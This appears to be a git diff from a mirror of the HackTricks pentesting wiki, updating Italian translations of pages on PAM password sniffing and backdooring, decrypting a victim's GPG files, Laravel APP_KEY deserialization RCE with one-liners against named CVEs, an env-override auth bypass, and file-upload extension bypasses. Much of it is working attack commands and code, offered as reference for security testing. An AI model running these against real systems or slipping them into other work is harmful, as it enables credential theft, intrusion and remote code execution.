mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
Translator
parent
f83d080f5b
commit
4cba7fbc36
@ -4,21 +4,22 @@
|
||||
|
||||
## Sniffing Logon Passwords with PAM
|
||||
|
||||
Configuriamo un modulo PAM per registrare ogni password che ogni utente utilizza per accedere. Se non sai cos'è PAM, controlla:
|
||||
Configuriamo un modulo PAM per registrare ogni password che ogni utente usa per effettuare il login. Se non sai cos'è PAM controlla:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**Per ulteriori dettagli, controlla il [post originale](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Questo è solo un riepilogo:
|
||||
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary:
|
||||
|
||||
**Panoramica della Tecnica:**
|
||||
I Moduli di Autenticazione Pluggabili (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di accesso, ma possono anche comportare rischi se utilizzati in modo improprio. Questo riepilogo delinea una tecnica per catturare le credenziali di accesso utilizzando PAM, insieme a strategie di mitigazione.
|
||||
**Technique Overview:**
|
||||
Pluggable Authentication Modules (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di login ma presentano anche rischi se usati in modo improprio. Questa sintesi illustra una tecnica per catturare le credenziali di accesso usando PAM, insieme a strategie di mitigazione.
|
||||
|
||||
**Cattura delle Credenziali:**
|
||||
**Capturing Credentials:**
|
||||
|
||||
- Uno script bash chiamato `toomanysecrets.sh` è creato per registrare i tentativi di accesso, catturando la data, il nome utente (`$PAM_USER`), la password (tramite stdin) e l'IP dell'host remoto (`$PAM_RHOST`) in `/var/log/toomanysecrets.log`.
|
||||
- Lo script è reso eseguibile e integrato nella configurazione PAM (`common-auth`) utilizzando il modulo `pam_exec.so` con opzioni per eseguire silenziosamente ed esporre il token di autenticazione allo script.
|
||||
- Uno script bash chiamato `toomanysecrets.sh` viene creato per registrare i tentativi di login, catturando la data, l'username (`$PAM_USER`), la password (via stdin) e l'IP dell'host remoto (`$PAM_RHOST`) in `/var/log/toomanysecrets.log`.
|
||||
- Lo script viene reso eseguibile e integrato nella configurazione PAM (`common-auth`) usando il modulo `pam_exec.so` con opzioni per eseguire silenziosamente e esporre il token di autenticazione allo script.
|
||||
- L'approccio dimostra come un host Linux compromesso possa essere sfruttato per registrare le credenziali in modo discreto.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -31,23 +32,50 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### Backdooring PAM
|
||||
|
||||
**Per ulteriori dettagli, controlla il [post originale](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Questo è solo un riassunto:
|
||||
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Questo è solo un riassunto:
|
||||
|
||||
Il Modulo di Autenticazione Pluggabile (PAM) è un sistema utilizzato sotto Linux per l'autenticazione degli utenti. Si basa su tre concetti principali: **nome utente**, **password** e **servizio**. I file di configurazione per ogni servizio si trovano nella directory `/etc/pam.d/`, dove le librerie condivise gestiscono l'autenticazione.
|
||||
Il Pluggable Authentication Module (PAM) è un sistema usato su Linux per l'autenticazione degli utenti. Opera su tre concetti principali: **username**, **password**, e **service**. I file di configurazione per ogni service si trovano nella directory `/etc/pam.d/`, dove librerie condivise gestiscono l'autenticazione.
|
||||
|
||||
**Obiettivo**: Modificare PAM per consentire l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo è particolarmente focalizzato sulla libreria condivisa `pam_unix.so` utilizzata dal file `common-auth`, che è inclusa da quasi tutti i servizi per la verifica della password.
|
||||
**Obiettivo**: Modificare PAM per permettere l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo si concentra in particolare sulla libreria condivisa `pam_unix.so` usata dal file `common-auth`, che è inclusa da quasi tutti i servizi per la verifica della password.
|
||||
|
||||
### Passi per Modificare `pam_unix.so`:
|
||||
### Passaggi per modificare `pam_unix.so`:
|
||||
|
||||
1. **Individuare la Direttiva di Autenticazione** nel file `common-auth`:
|
||||
- La riga responsabile del controllo della password di un utente chiama `pam_unix.so`.
|
||||
2. **Modificare il Codice Sorgente**:
|
||||
- Aggiungere un'istruzione condizionale nel file sorgente `pam_unix_auth.c` che concede accesso se viene utilizzata una password predefinita, altrimenti procede con il normale processo di autenticazione.
|
||||
3. **Ricompilare e Sostituire** la libreria modificata `pam_unix.so` nella directory appropriata.
|
||||
1. **Individua la direttiva di autenticazione** nel file `common-auth`:
|
||||
- La riga responsabile del controllo della password di un utente invoca `pam_unix.so`.
|
||||
2. **Modificare il codice sorgente**:
|
||||
- Aggiungere una condizione nel file sorgente `pam_unix_auth.c` che conceda l'accesso se viene usata una password predefinita; altrimenti prosegua con il normale processo di autenticazione.
|
||||
3. **Ricompilare e sostituire** la libreria modificata `pam_unix.so` nella directory appropriata.
|
||||
4. **Test**:
|
||||
- L'accesso è concesso attraverso vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i normali processi di autenticazione rimangono inalterati.
|
||||
- L'accesso viene concesso su vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i processi di autenticazione normali restano inalterati.
|
||||
|
||||
> [!TIP]
|
||||
> Puoi automatizzare questo processo con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
## Decriptare loot GPG tramite spostamento dell'homedir
|
||||
|
||||
Se trovi un file cifrato `.gpg` e la cartella `~/.gnupg` di un utente (pubring, private-keys, trustdb) ma non puoi decriptare a causa di permessi/blocchi dell'homedir di GnuPG, copia il keyring in una posizione scrivibile e usalo come GPG home.
|
||||
|
||||
Errori tipici che vedrai senza questo: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (perché GPG non può leggere/scrivere l'homedir originale).
|
||||
|
||||
Flusso di lavoro:
|
||||
```bash
|
||||
# 1) Stage a writable homedir and copy the victim's keyring
|
||||
mkdir -p /dev/shm/fakehome/.gnupg
|
||||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||||
# 2) Ensure ownership & perms are sane for gnupg
|
||||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||||
chmod 700 /dev/shm/fakehome/.gnupg
|
||||
# 3) Decrypt using the relocated homedir (either flag works)
|
||||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
Se il materiale della chiave segreta è presente in `private-keys-v1.d`, GPG sbloccherà e decifrerà senza richiedere una passphrase (o la richiederà se la chiave è protetta).
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -4,13 +4,13 @@
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Leggi informazioni al riguardo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
Leggi informazioni a riguardo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Interni di crittografia (Laravel \u003e=5.6)
|
||||
## APP_KEY e struttura interna della crittografia (Laravel >=5.6)
|
||||
|
||||
Laravel utilizza AES-256-CBC (o GCM) con integrità HMAC sotto il cofano (`Illuminate\\Encryption\\Encrypter`).
|
||||
Laravel usa AES-256-CBC (o GCM) con integrità HMAC sotto il cofano (`Illuminate\\Encryption\\Encrypter`).
|
||||
Il testo cifrato grezzo che viene infine **inviato al client** è **Base64 di un oggetto JSON** come:
|
||||
```json
|
||||
{
|
||||
@ -20,7 +20,9 @@ Il testo cifrato grezzo che viene infine **inviato al client** è **Base64 di un
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` eseguirà `serialize()` il testo in chiaro per impostazione predefinita, mentre `decrypt($payload, $unserialize=true)` **eseguirà automaticamente `unserialize()`** il valore decrittografato. Pertanto **qualsiasi attaccante che conosce la chiave segreta di 32 byte `APP_KEY` può creare un oggetto PHP serializzato crittografato e ottenere RCE tramite metodi magici (`__wakeup`, `__destruct`, …)**.
|
||||
`encrypt($value, $serialize=true)` serializza il plaintext per impostazione predefinita, whereas
|
||||
`decrypt($payload, $unserialize=true)` **eseguirà automaticamente `unserialize()`** sul valore decifrato.
|
||||
Pertanto **qualsiasi attacker che conosca il secret di 32 byte `APP_KEY` può creare un oggetto PHP serializzato cifrato e ottenere RCE tramite i magic methods (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
@ -29,7 +31,7 @@ use Illuminate\Support\Facades\Crypt;
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Injecta la stringa prodotta in qualsiasi sink vulnerabile `decrypt()` (parametro di route, cookie, sessione, …).
|
||||
Inietta la stringa prodotta in qualsiasi sink `decrypt()` vulnerabile (route param, cookie, session, …).
|
||||
|
||||
---
|
||||
|
||||
@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Lo script supporta in modo trasparente sia i payload CBC che GCM e rigenera il campo HMAC/tag.
|
||||
Lo script supporta in modo trasparente sia payload CBC che GCM e rigenera il campo HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Modelli vulnerabili nel mondo reale
|
||||
## Pattern vulnerabili nel mondo reale
|
||||
|
||||
| Progetto | Sink vulnerabile | Catena di gadget |
|
||||
| Progetto | Sink vulnerabile | Gadget chain |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` è abilitato | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie quando `Passport::withCookieSerialization()` è abilitato | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
Il flusso di sfruttamento è sempre:
|
||||
1. Ottenere o forzare il `APP_KEY` di 32 byte.
|
||||
2. Costruire una catena di gadget con **PHPGGC** (ad esempio `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`).
|
||||
3. Cifrare il gadget serializzato con **laravel_crypto_killer.py** e il `APP_KEY` recuperato.
|
||||
4. Consegnare il ciphertext al sink vulnerabile `decrypt()` (parametro di route, cookie, sessione …) per attivare **RCE**.
|
||||
Il workflow di exploitation è sempre:
|
||||
1. Ottenere o brute-force la `APP_KEY` di 32 byte.
|
||||
2. Creare una gadget chain con **PHPGGC** (ad esempio `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`).
|
||||
3. Cifrare il gadget serializzato con **laravel_crypto_killer.py** e la `APP_KEY` recuperata.
|
||||
4. Consegnare il ciphertext al sink `decrypt()` vulnerabile (route parameter, cookie, session …) per attivare **RCE**.
|
||||
|
||||
Di seguito ci sono frasi concise che dimostrano il percorso completo dell'attacco per ciascun CVE reale menzionato sopra:
|
||||
Di seguito sono riportati one-liners concisi che dimostrano l'intero percorso d'attacco per ciascun CVE reale menzionato sopra:
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
@ -80,39 +82,82 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
## Mass APP_KEY discovery via cookie brute-force
|
||||
|
||||
Perché ogni risposta Laravel fresca imposta almeno 1 cookie crittografato (`XSRF-TOKEN` and usually `laravel_session`), **scanner pubblici Internet (Shodan, Censys, …) leak milioni di testi cifrati** che possono essere attaccati offline.
|
||||
|
||||
Key findings of the research published by Synacktiv (2024-2025):
|
||||
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 server ancora vulnerabili al legacy CVE-2018-15133 perché i tokens contengono direttamente dati serializzati.
|
||||
* Ampio riuso di chiavi – le Top-10 APP_KEYs sono default hard-coded fornite con template commerciali Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
Lo strumento Go privato **nounours** spinge il throughput di AES-CBC/GCM bruteforce a ~1.5 billion tries/s, riducendo il cracking dell'intero dataset a <2 minuti.
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
Quando PHP ha `register_argc_argv=On` (tipico in molte distro), PHP espone un array `argv` per le richieste HTTP derivato dalla query string. Versioni recenti di Laravel parseavano questi argomenti “CLI-like” e rispettavano `--env=<value>` a runtime. Questo permette di cambiare l'ambiente del framework per la richiesta HTTP corrente semplicemente aggiungendolo a qualsiasi URL:
|
||||
|
||||
- Quick check:
|
||||
- Visita `https://target/?--env=local` o qualsiasi stringa e cerca cambiamenti dipendenti dall'ambiente (banner di debug, footer, errori dettagliati). Se la stringa è riflessa, l'override sta funzionando.
|
||||
|
||||
- Impact example (business logic trusting a special env):
|
||||
- Se l'app contiene rami tipo `if (app()->environment('preprod')) { /* bypass auth */ }`, puoi autenticarti senza credenziali valide inviando il POST di login a:
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- Notes:
|
||||
- Funziona per richiesta, senza persistenza.
|
||||
- Richiede `register_argc_argv=On` e una versione vulnerabile di Laravel che legge argv per HTTP.
|
||||
- Primitiva utile per far emergere errori più verbosi in env “debug” o per attivare percorsi di codice condizionati dall'ambiente.
|
||||
|
||||
- Mitigations:
|
||||
- Disabilitare `register_argc_argv` per PHP-FPM/Apache.
|
||||
- Aggiornare Laravel per ignorare argv sulle richieste HTTP e rimuovere qualsiasi assunzione di fiducia legata a `app()->environment()` nelle route di produzione.
|
||||
|
||||
Minimal exploitation flow (Burp):
|
||||
```http
|
||||
POST /login?--env=preprod HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
...
|
||||
email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
---
|
||||
|
||||
## Scoperta di APP_KEY massiva tramite brute-force dei cookie
|
||||
|
||||
Poiché ogni risposta fresca di Laravel imposta almeno 1 cookie crittografato (`XSRF-TOKEN` e di solito `laravel_session`), **scanner pubblici di internet (Shodan, Censys, …) rilasciano milioni di testi cifrati** che possono essere attaccati offline.
|
||||
|
||||
Risultati chiave della ricerca pubblicata da Synacktiv (2024-2025):
|
||||
* Dataset luglio 2024 » 580 k token, **3.99 % chiavi decifrate** (≈23 k)
|
||||
* Dataset maggio 2025 » 625 k token, **3.56 % chiavi decifrate**
|
||||
* >1 000 server ancora vulnerabili a CVE-2018-15133 legacy perché i token contengono direttamente dati serializzati.
|
||||
* Grande riutilizzo delle chiavi – le prime 10 APP_KEY sono valori predefiniti hard-coded forniti con modelli commerciali di Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
Il tool privato Go **nounours** spinge il throughput di brute-force AES-CBC/GCM a ~1.5 miliardi di tentativi/s, riducendo la decifratura dell'intero dataset a <2 minuti.
|
||||
|
||||
|
||||
## Trucchi di Laravel
|
||||
## Trucchi Laravel
|
||||
|
||||
### Modalità di debug
|
||||
|
||||
Se Laravel è in **modalità di debug** sarai in grado di accedere al **codice** e ai **dati sensibili**.\
|
||||
Se Laravel è in **modalità di debug** potrai accedere al **codice** e ai **dati sensibili**.\
|
||||
Ad esempio `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
Questo è solitamente necessario per sfruttare altre CVE RCE di Laravel.
|
||||
Questo è solitamente necessario per sfruttare altre RCE/CVE relative a Laravel.
|
||||
|
||||
### Fingerprinting & endpoint dev esposti
|
||||
|
||||
Controlli rapidi per identificare uno stack Laravel e strumenti dev pericolosi esposti in produzione:
|
||||
|
||||
- `/_ignition/health-check` → Ignition presente (debug tool usato per CVE-2021-3129). Se raggiungibile senza autenticazione, l'app potrebbe essere in modalità di debug o mal configurata.
|
||||
- `/_debugbar` → asset di Laravel Debugbar; spesso indica la modalità di debug.
|
||||
- `/telescope` → Laravel Telescope (dev monitor). Se pubblico, aspettati ampia divulgazione di informazioni e possibili azioni.
|
||||
- `/horizon` → dashboard delle code; divulgazione della versione e talvolta azioni protette da CSRF.
|
||||
- `X-Powered-By`, cookie `XSRF-TOKEN` e `laravel_session`, e le pagine di errore Blade aiutano anche nel fingerprinting.
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
# Manual spot checks
|
||||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||||
```
|
||||
### .env
|
||||
|
||||
Laravel salva l'APP che utilizza per crittografare i cookie e altre credenziali all'interno di un file chiamato `.env` che può essere accessibile utilizzando un po' di path traversal sotto: `/../.env`
|
||||
Laravel salva l'APP che usa per crittografare i cookies e altre credenziali in un file chiamato `.env` che può essere accessibile tramite un path traversal: `/../.env`
|
||||
|
||||
Laravel mostrerà anche queste informazioni all'interno della pagina di debug (che appare quando Laravel trova un errore ed è attivata).
|
||||
Laravel mostrerà anche queste informazioni nella pagina di debug (che appare quando Laravel riscontra un errore e il debug è attivato).
|
||||
|
||||
Utilizzando la chiave segreta APP_KEY di Laravel puoi decrittografare e ri-crittografare i cookie:
|
||||
Usando la APP_KEY segreta di Laravel puoi decifrare e ricrittografare i cookies:
|
||||
|
||||
### Decrypt Cookie
|
||||
```python
|
||||
@ -169,30 +214,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||||
|
||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||
key = base64.b64decode(app_key)
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||||
```
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
Versioni vulnerabili: 5.5.40 e 5.6.x fino a 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
Versioni vulnerabili: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
Qui puoi trovare informazioni sulla vulnerabilità di deserializzazione: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
Qui puoi trovare informazioni sulla vulnerabilità di deserialization: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Puoi testarla e sfruttarla usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Puoi testarla ed exploitare usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Oppure puoi anche sfruttarla con metasploit: `use unix/http/laravel_token_unserialize_exec`
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
Un'altra deserializzazione: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
Un'altra deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
|
||||
|
||||
|
||||
## Riferimenti
|
||||
* [Laravel: analisi della fuga di APP_KEY (IT)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Metodologia generale per il File Upload
|
||||
## Metodologia generale per il caricamento file
|
||||
|
||||
Altre estensioni utili:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, .phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Lavorare con PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -15,13 +15,13 @@ Altre estensioni utili:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Bypass dei controlli sulle estensioni dei file
|
||||
### Bypass dei controlli delle estensioni dei file
|
||||
|
||||
1. Se applicabile, **controlla** le **estensioni precedenti.** Testale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
|
||||
